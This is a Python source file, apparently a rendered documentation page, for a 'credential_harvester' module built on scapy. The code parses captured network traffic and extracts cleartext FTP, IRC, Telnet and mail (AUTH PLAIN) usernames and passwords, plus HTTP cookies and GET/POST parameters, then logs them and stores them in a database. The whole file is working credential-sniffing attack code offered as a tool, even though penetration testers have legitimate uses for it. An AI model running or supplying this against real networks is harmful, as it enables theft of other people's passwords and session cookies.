Source code for src.credential_harvester

# coding: utf8
from scapy.all import *
from datetime import datetime
import base64
import struct

from .database import *
from .util.logger import *


__author__ = 'Romain KRAFT <romain.kraft@protonmail.com>'


[docs]class CredentialEngine: ''' Class that will parse data to find credentials into it. The processor engine is in part inspired by (https://github.com/DanMcInerney/net-creds/blob/master/net-creds.py) ''' def __init__(self): """ Instantiate the engine. """ self.logger = Logger() self.database = DataBase() self.datas = dict() self.credentials = dict() self.requests = dict() self.wait_telnet = None
[docs] def parse_snmp(self, src, dst, snmp_layer): """ Check if there is a commmunity string in the packet. The community string is used as a password for SNMP protocols. There is 3 types of community string : - Read-Only: you can retrieve read only informations - Read-Write: you can retrieve and write informations - Traps: sort of alarms :param src: sender of the packet :param dst: receiver of the packet :param snmp_layer: the packet itself """ if( type(snmp_layer.commmunity.val) == bytes or type(snmp_layer.commmunity.val) == str ): return self.store_credentials(src,dst,f'SNMPv{snmp_layer.version.val}',(snmp_layer.commmunity.val)) return False
[docs] def find_kerberos(self, src, dst, pkt): """ Finding kerberos tokens in UDP. :param src: sender of the packet :param dst: receiver of the packet :param pkt: the pkt itself """ #TODO: implement kerberos gathering pass
[docs] def store_credentials(self,src,dst,type,data): """ Store credentials if they don't already exist in the previous credentials found. :param src: sender of the packet :param dst: receiver of the packet :param type: type of credentials :param data: data to store :return: True """ suffix = f"{type}:{data}" index = f"{src}:{dst}:{suffix}" reverse_index = f"{dst}:{src}:{suffix}" if( index not in self.credentials and reverse_index not in self.credentials ): self.credentials[index] = True self.logger.print_colored(self.logger.fg.CYAN,f"[+] {datetime.now()} - Found {type} credentials : {data}") self.database.insert_credentials(src,dst,type,data) return True
[docs] def store_http_request(self,src,dst,method,host,uri,cookies_result = None, params_get_result= None ,params_post_result=None): """ Store HTTP Requests if they don't already exists in the previous requests found. :param src: sender of the packet :param dst: receiver of the packet :param type: type of credentials :param data: data to store :return: True if the request was added to the database, False otherwise """ # Calculating length if(len(self.requests) > 10): for key in list(self.requests.keys())[3:] : del self.requests[key] self.database = DataBase() # Generating sort of hash suffix = f"HTTP:{method}:{host}:{uri}:{cookies_result}:{params_post_result,params_post_result}" src_ip,src_port = src dst_ip,dst_port = dst index = f"{suffix}" if(index not in self.requests.keys()): self.requests[index] = True if(not host in uri): self.logger.print_colored(self.logger.fg.PURPLE,f'[+] {datetime.now()} - Request found : {method} http://{host}:{dst_port}{uri}') else: self.logger.print_colored(self.logger.fg.PURPLE,f'[+] {datetime.now()} - Request found : {method} {uri}') if (cookies_result): self.logger.print_colored(self.logger.fg.DARKGREY,f'[+]\t- Cookies : {cookies_result}') if (params_get_result): self.logger.print_colored(self.logger.fg.DARKGREY,f'[+]\t- GET Params : {params_get_result}' ) if (params_post_result): self.logger.print_colored(self.logger.fg.DARKGREY,f'[+]\t- POST params : {params_post_result}') self.database.insert_http_request(src,dst,method,host,uri,cookies_result,params_get_result,params_post_result) return True return False
[docs] def find_ftp(self, src, dst, pkt): """ This function will try to find FTP credentials in the data given. :param src: sender of the packet :param dst: receiver of the packet :param pkt: the pkt itself :return: True if the credentials were stored, None otherwise """ ## This can also be POP auth # Search user with a regex user = re.search(b'USER (.+)\r\n', pkt) # Search pass with a regex passwd = re.search(b'PASS (.+)\r\n', pkt) # If we have found sth if(user and passwd): user = user.group().strip()[5:].decode('ISO-8859-1') passwd = passwd.group().strip()[5:].decode('ISO-8859-1') return self.store_credentials(src,dst,'FTP',(user,passwd))
[docs] def find_irc(self,src,dst,pkt): """ This function ill try to find IRC creedntials in the data given :param src: sender of the packet :param dst: receiver of the packet :param pkt: the pkt itself :return: True if credentials were found and stored in the database, False otherwise """ user = re.search(b'NICK (.+?)((\r)?\n|\s)', pkt, re.IGNORECASE) passwd = re.search(b'NS IDENTIFY (.+)', pkt, re.IGNORECASE) if(not passwd and user): passwd = re.search(b'nickserv :identify (.+)', pkt, re.IGNORECASE) if(user): # Stripping user user = user.group().strip()[5:].decode('ISO-8859-1') # If there was a passwd match if(passwd): passwd = passwd.group() # Case second regex matched if('nickserv' in passwd): passwd = passwd.strip()[19:].decode('ISO-8859-1') # Case first regex matched else: passwd = passwd.strip()[12:].decode('ISO-8859-1') # Inserting credentials if found and not in databse return self.store_credentials(src,dst,'IRC',(user,passwd)) return False
[docs] def find_telnet(self,src,dst,pkt): """ This function ill try to find IRC creedntials in the data given. :param src: sender of the packet :param dst: receiver of the packet :param pkt: the pkt itself :return: True if credentials were found and stored in the database, False otherwise """ # Process data with regex user = re.search(b'login:(.*)\r\n(.+)\r\n',pkt, re.IGNORECASE) passwd = re.search(b'Password:(.*)\r\n(.+)\r\n', pkt, re.IGNORECASE) # If we have found credentials if(user and passwd): # extracting user and password passwd = passwd.group().strip()[9:].decode('ISO-8859-1').strip() user = user.group().strip()[7:].decode('ISO-8859-1').strip() # Storing data return self.store_credentials(src,dst,'TELNET',(user,passwd)) return False
[docs] def find_mail_auth(self, src, dst, pkt): """ This function will try to find plain IMAP POP and SMTP authentication and extract the credentials. :param src: sender of the packet :param dst: receiver of the packet :param pkt: the pkt itself :return: True if credentials were found and stored in the database, None otherwise """ mail_auth_re = b'(\d+ )?(auth|authenticate)? (login|plain)\r\n\r\n\+ \r\n\r\n(.+)\r\n' #print(pkt) auth = re.search(mail_auth_re,pkt,re.IGNORECASE) if (auth != None): auth = auth.group().split(b"\r\n")[4] auth = base64.b64decode(auth).split(b"\x00") user = auth[1].decode("ISO-8859-1") passwd = auth[2].decode("ISO-8859-1") return self.store_credentials(src,dst,'MAIL',(user,passwd))
[docs] def find_http_auth(self, src, dst, pkt): """ This function will extract uris and password and cookies from web communication in http. This use known ids. :param src: sender of the packet :param dst: receiver of the packet :param pkt: the pkt itself :return: True if credentials were found and stored in the database, False otherwise """ methods=b"GET|POST|DELETE|PUT|HEAD|TRACE|OPTIONS|CONNECT" pattern=b"("+methods+b")\s+(\S+)\s+(HTTP)(.+)\r\n" # We search if we found a valid HTTP request request = re.search(pattern, pkt, re.IGNORECASE) if request: # If found request = request.group() # We extract the first line containing method and uri url_pattern = b"^("+methods+b")\s(\S+)\s(HTTP)" url = re.search(url_pattern,request,re.IGNORECASE) url = url.group().split(b" ") method = url[0].decode("ISO-8859-1").strip() uri = url[1].decode("ISO-8859-1") # Finding the host host_pattern = b"Host:(.+)\r\n" host = re.search(host_pattern, pkt, re.IGNORECASE) if(host): host = host.group().split(b":")[1].decode("ISO-8859-1").strip() # Then we concat all to have the full url + method params_get_result = None # Getting GET params if("?" in uri): params_get = uri.split('?')[1].split('&') params_get_result = str(params_get) uri = uri.split('?')[0] # Getting Cookies pattern_cookies = b"Cookie:(.+)\r\n" cookies_result = None cookies = re.search(pattern_cookies, pkt, re.IGNORECASE) if cookies : cookies_result = str(cookies.group().decode("ISO-8859-1").split(':')[1].strip().split(";")) # Getting POST parameters if there is POST parameters # for the method params_post_result = None if(method.upper() in ["POST", "PUT", "DELETE"]): params_post_pattern = b'\r\n(\r\n)+(.+)\r\n' params_post = re.search(params_post_pattern,pkt) if(params_post): content_type=b"text/html|application/xml|text/plain|application/json" pattern=b"Content-Type: (" + content_type + b").*\r\n" if(re.search(pattern, pkt, re.IGNORECASE)): params_post_result = params_post.group().decode("ISO-8859-1").strip() self.store_http_request(src,dst,method,host,uri,cookies_result,params_get_result,params_post_result) return True return False
[docs] def assemble_tcp_packet(self, src, dst, pkt): """ This function will be used to assemble TCP packet in order to keep the full trame data together. It keep it's data in a dict if there is too much data, it split it in order to keep a good cpu usage. :param src: sender of the packet :param dst: receiver of the packet :param pkt: the pkt itself :return: the assembled packet """ index = f"{src} : {dst}" reverse_index = f"{dst} : {src}" #print(index,"-",reverse_index) # Arbitrary to not store an infinity of datas if( len(self.datas) > 10): for key in list(self.datas.keys())[3:] : del self.datas[key] # If the index doesn't exists if (index not in self.datas and reverse_index not in self.datas): self.datas[index] = [pkt] return pkt elif ( index in self.datas ) : # Arbitrary value to clear the array if(len(self.datas[index]) > 5): # To not brutally clean we keep 5 packet data slice_len = int(len(self.datas[index])/2) self.datas[index] = self.datas[index][slice_len: ] # We add current data to the data list self.datas[index].append(pkt) # We return full data for this index pkt = b"" for i in range(len(self.datas[index])): pkt += b"\r\n" + self.datas[index][i] return pkt else: # Arbitrary value to clear the array if(len(self.datas[reverse_index]) > 5): # To not brutally clean we keep 5 packet data slice_len = int(len(self.datas[reverse_index])/2) self.datas[reverse_index] = self.datas[reverse_index][slice_len: ] # We add current data to the data list self.datas[reverse_index].append(pkt) # We return full data for this reverse_index pkt = b"" for i in range(len(self.datas[reverse_index])): pkt += b"\r\n" + self.datas[reverse_index][i] return pkt
[docs] def process(self, pkt): """ The function that will do all the step to process the packet :param packet: the packet to process :return: tuple containing the found information """ # Filtering useless packet if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6): return data = None # Getting data if pkt.haslayer(Raw) : data = pkt[Raw].load # Case it's UDP, we search : # - SNMP Community Strings # - Kerberos tokens ( not yet implemented ) if pkt.haslayer(UDP) and pkt.haslayer(IP) : # Getting sender and rceiver informations source = ( pkt[IP].src, pkt[UDP].sport ) dest = ( pkt[IP].dst, pkt[UDP].dport ) # In case of finding SNMP ( Simple Network Management Protocol ) if pkt.haslayer(SNMP) : ## TODO : Need a patch #self.parse_snmp(source, dest, pkt[SNMP]) return # Search Kerberos token self.find_kerberos(source, dest, pkt) return # Case it's TCP : # - FTP Credentials # - IRC Credentials # - TELNET Credentials # - MAIL Credentials elif pkt.haslayer(TCP) and pkt.haslayer(IP) and type(data) == bytes : # Getting sender and rceiver informations source = ( pkt[IP].src, pkt[TCP].sport ) dest = ( pkt[IP].dst, pkt[TCP].dport ) # We assemble full data data = self.assemble_tcp_packet(source,dest,data) # Search for FTP credentials if self.find_ftp(source,dest,data): return # Search for IRC Credentials if self.find_irc(source,dest,data): return # Search for TELNET if self.find_telnet(source, dest, data): return if self.find_mail_auth(source,dest,data): return if self.find_http_auth(source,dest,data): return